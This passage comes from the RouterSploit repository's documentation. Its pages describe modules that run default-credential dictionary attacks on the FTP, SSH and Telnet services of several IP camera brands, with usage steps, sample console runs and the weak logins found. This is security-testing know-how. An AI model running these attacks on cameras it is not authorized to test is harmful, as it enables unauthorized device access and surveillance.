valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/hikvision/ftp_default_creds rsf (Hikvision Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Hikvision Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/hikvision/ssh_default_creds.md000066400000000000000000000025621400750623600302530ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Hikvision Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/hikvision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/hikvision/ssh_default_creds rsf (Hikvision Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Hikvision Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/hikvision/telnet_default_creds.md000066400000000000000000000026121400750623600307450ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Hikvision Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/hikvision/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/hikvision/telnet_default_creds rsf (Hikvision Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Hikvision Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/honeywell/000077500000000000000000000000001400750623600242465ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/honeywell/ftp_default_creds.md000066400000000000000000000025071400750623600302510ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Honeywell Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/honeywell/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/honeywell/ftp_default_creds rsf (Honeywell Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Honeywell Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/honeywell/ssh_default_creds.md000066400000000000000000000025621400750623600302560ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Honeywell Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/honeywell/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/honeywell/ssh_default_creds rsf (Honeywell Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Honeywell Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/honeywell/telnet_default_creds.md000066400000000000000000000026121400750623600307500ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Honeywell Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/honeywell/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/honeywell/telnet_default_creds rsf (Honeywell Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Honeywell Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/iqinvision/000077500000000000000000000000001400750623600244305ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/iqinvision/ftp_default_creds.md000066400000000000000000000025141400750623600304310ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IQInvision Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/iqinvision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/iqinvision/ftp_default_creds rsf (IQInvision Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IQInvision Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/iqinvision/ssh_default_creds.md000066400000000000000000000025671400750623600304450ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IQInvision Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/iqinvision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/iqinvision/ssh_default_creds rsf (IQInvision Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IQInvision Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/iqinvision/telnet_default_creds.md000066400000000000000000000026171400750623600311370ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against IQInvision Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/iqinvision/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/iqinvision/telnet_default_creds rsf (IQInvision Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (IQInvision Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/jvc/000077500000000000000000000000001400750623600230225ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/jvc/ftp_default_creds.md000066400000000000000000000024511400750623600270230ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against JVC Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/jvc/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/jvc/ftp_default_creds rsf (JVC Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (JVC Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/jvc/ssh_default_creds.md000066400000000000000000000025241400750623600270300ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against JVC Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/jvc/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/jvc/ssh_default_creds rsf (JVC Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (JVC Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/jvc/telnet_default_creds.md000066400000000000000000000025541400750623600275310ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against JVC Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/jvc/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/jvc/telnet_default_creds rsf (JVC Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (JVC Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/mobotix/000077500000000000000000000000001400750623600237215ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/mobotix/ftp_default_creds.md000066400000000000000000000024751400750623600277300ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mobotix Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/mobotix/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/mobotix/ftp_default_creds rsf (Mobotix Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mobotix Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/mobotix/ssh_default_creds.md000066400000000000000000000025501400750623600277260ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mobotix Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/mobotix/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/mobotix/ssh_default_creds rsf (Mobotix Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mobotix Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/mobotix/telnet_default_creds.md000066400000000000000000000026001400750623600304200ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mobotix Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/mobotix/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/mobotix/telnet_default_creds rsf (Mobotix Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mobotix Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/samsung/000077500000000000000000000000001400750623600237155ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/samsung/ftp_default_creds.md000066400000000000000000000024751400750623600277240ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Samsung Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/samsung/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/samsung/ftp_default_creds rsf (Samsung Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Samsung Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/samsung/ssh_default_creds.md000066400000000000000000000025501400750623600277220ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Samsung Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/samsung/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/samsung/ssh_default_creds rsf (Samsung Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Samsung Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/samsung/telnet_default_creds.md000066400000000000000000000026001400750623600304140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Samsung Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/samsung/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/samsung/telnet_default_creds rsf (Samsung Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Samsung Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/sentry360/000077500000000000000000000000001400750623600240155ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/sentry360/ftp_default_creds.md000066400000000000000000000025071400750623600300200ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Sentry360 Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/sentry360/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/sentry360/ftp_default_creds rsf (Sentry360 Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Sentry360 Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/sentry360/ssh_default_creds.md000066400000000000000000000025621400750623600300250ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Sentry360 Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/sentry360/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/sentry360/ssh_default_creds rsf (Sentry360 Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Sentry360 Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/sentry360/telnet_default_creds.md000066400000000000000000000026121400750623600305170ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Sentry360 Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/sentry360/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/sentry360/telnet_default_creds rsf (Sentry360 Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Sentry360 Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/siemens/000077500000000000000000000000001400750623600237035ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/siemens/ftp_default_creds.md000066400000000000000000000024751400750623600277120ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Siemens Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/siemens/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/siemens/ftp_default_creds rsf (Siemens Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Siemens Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/siemens/ssh_default_creds.md000066400000000000000000000025501400750623600277100ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Siemens Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/siemens/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/siemens/ssh_default_creds rsf (Siemens Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Siemens Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/siemens/telnet_default_creds.md000066400000000000000000000026001400750623600304020ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Siemens Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/siemens/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/siemens/telnet_default_creds rsf (Siemens Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Siemens Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/speco/000077500000000000000000000000001400750623600233515ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/speco/ftp_default_creds.md000066400000000000000000000024631400750623600273550ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Speco Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/speco/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/speco/ftp_default_creds rsf (Speco Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Speco Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service 